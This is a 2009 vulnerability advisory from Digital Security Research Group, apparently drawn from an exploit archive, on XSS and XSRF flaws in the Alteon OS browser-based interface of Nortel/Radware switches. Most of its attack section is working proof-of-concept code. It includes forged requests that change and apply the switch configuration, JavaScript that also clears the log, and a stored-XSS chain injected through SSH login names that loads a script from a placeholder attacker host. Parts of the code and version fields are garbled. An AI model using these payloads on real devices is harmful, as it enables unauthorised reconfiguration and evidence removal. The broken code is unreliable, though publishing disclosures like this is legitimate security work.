Alteon OS BBI (Nortell) - Cross-Site Scripting / Cross-Site Request Forgery








# Exploit Title: Alteon OS BBI (Nortell) - Multiple Vulnerabilities
# Date: 16 Nov 09
# Author: Sintsov Alexey
# Software Link: [downoad link if available]
# Version: <=  and may be higher ( <= )
# Tested on: [relevant os]
# Code : [exploit code]

From: DSecRG <research () dsecrg com>
Date: Mon, 16 Nov 2009 14:01:04 +0300

Digital Security Research Group [DSecRG] Advisory

Various XSS and XSRF vulnerabilities were identified in the  Alteon OS Browser-Based
Interface (BBI).

Application:             Alteon OS BBI
Versions Affected:       <=  and may be higher ( <= )
Vendor URL:    ;
Bug:                     XSS ans XSRF Vulnerabilities
Exploits:                YES
Reported:                11.08.2009
Secondly Reported:       07.09.2009
Final Reported:          28.10.2009
Date of Public Advisory: 16.11.2009
Solution:                YES (Non official)
Author:                  Sintsov Alexey from Digital Security Research Group [DSecRG]


Browser-Based Interface (BBI) software is included in the Nortel Networks(vesrions < and Radware
family of  switches. The BBI software lets you use your Web browser to access switch
information and  statistics, to perform switch configuration via the Internet. This
vulnerabilities allow remote attackers to change the switch configuration.



An attacker may exploit this issue to perform certain administrative actions,
e.g. change  using predictable URL requests once the user has authenticated and
obtained a valid session  with the switch.


PoC (Change banner and apply):


<title>Nortel XSRF</title>

<script src="http://<Switch>/switchSystem.html/bar?banner=newBanner</script>
<script src="http://<Switch>/TopToolArea.html?actionState=apply"></script>


2)  Stored XSS

An attacker may inject 36 bytes of JavaScript code into log via SSH login
parameter.   Login parameter will be written into log as is. BBI or telnet login parameter
does not write  into log - only SSH. And when log page will be generated all input
from SSH login parameter will be displayed as is.

Both vulnerabilities give chance to change switch configuration file or attack Administrator's
workstation. A possibility of  embedding a code into a log without authentication increases
attacker's chance to succeed.

Also any string parameters in BBI can be used for static XSS.


Crete JavaScript code and put it on evil server (inj.js), this code will
change switch banner in  current configuration, apply this change and clear log:

Proof of Concept:

var request = !window.ActiveXObject ? new XMLHttpRequest() : new

//Change banner"GET",
"http://<NortelSwitch>/switchSystem.html/bar?banner=thx2Kononenko", false);

request = !window.ActiveXObject ? new XMLHttpRequest() : new

//apply changes"GET", "http://<NortelSwitch>/TopToolArea.html?actionState=apply",

request = !window.ActiveXObject ? new XMLHttpRequest() : new

//Clear log"GET", "http://<NortelSwitch>/clearLog.html", false);

Attacker can include this code into log  without use of <EvilHost>.
But this way faster.

Next step - connect via SSH and inject parts of code.


alexey () shell#:ssh <NortelSwitch>

login as: <script a="
<script a="@<NortelSwitch>'s password:
Access denied^C

alexey () shell#:ssh <NortelSwitch>

login as: " src="http://<EvilHost>/inj.js" b="
" src=""; b=" com2="@<NortelSwitch>s password:
Access denied^C

alexey () shell#:ssh <NortelSwitch>

login as: "></script>
"></script>@<NortelSwitch>'s password:
Access denied^C

       When administrator have a look into log via BBI, his browser get that:

Jul  3 13:12:44 <NortelSwitch> NOTICE  mgmt: Failed login attempt via SSH from host
<AttackerHost>, user <script a="<BR>Jul  3 13:13:08 <NortelSwitch> NOTICE  mgmt:
Failed login attempt via SSH from host <AttackerHost>, user "
src="http://<EvilHost>/inj.js" b="<BR>Jul  3 13:13:23 <NortelSwitch> NOTICE  mgmt:
Failed login attempt via SSH from host <AttackerHost>, user "></script><BR>


We have no answer from Radware about two month. So we don't know about
this vuln. in versions -

Here are our recommendations:

a) Turn off BBI.
b) Change default SSHd port.

/c/sys/access/https/https d
/c/sys/access/http d
/c/sys/access/sshd/sshport 42

c) Allow access to SSH and BBI only for trusted machines and networks;



Digital Security is leading IT security company in Russia, providing information security consulting, audit and
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI
DSS standards. Digital Security Research Group focuses on web application and database security problems with
vulnerability reports, advisories and whitepapers posted regularly on our website.

Contact: research [at] dsecrg [dot] com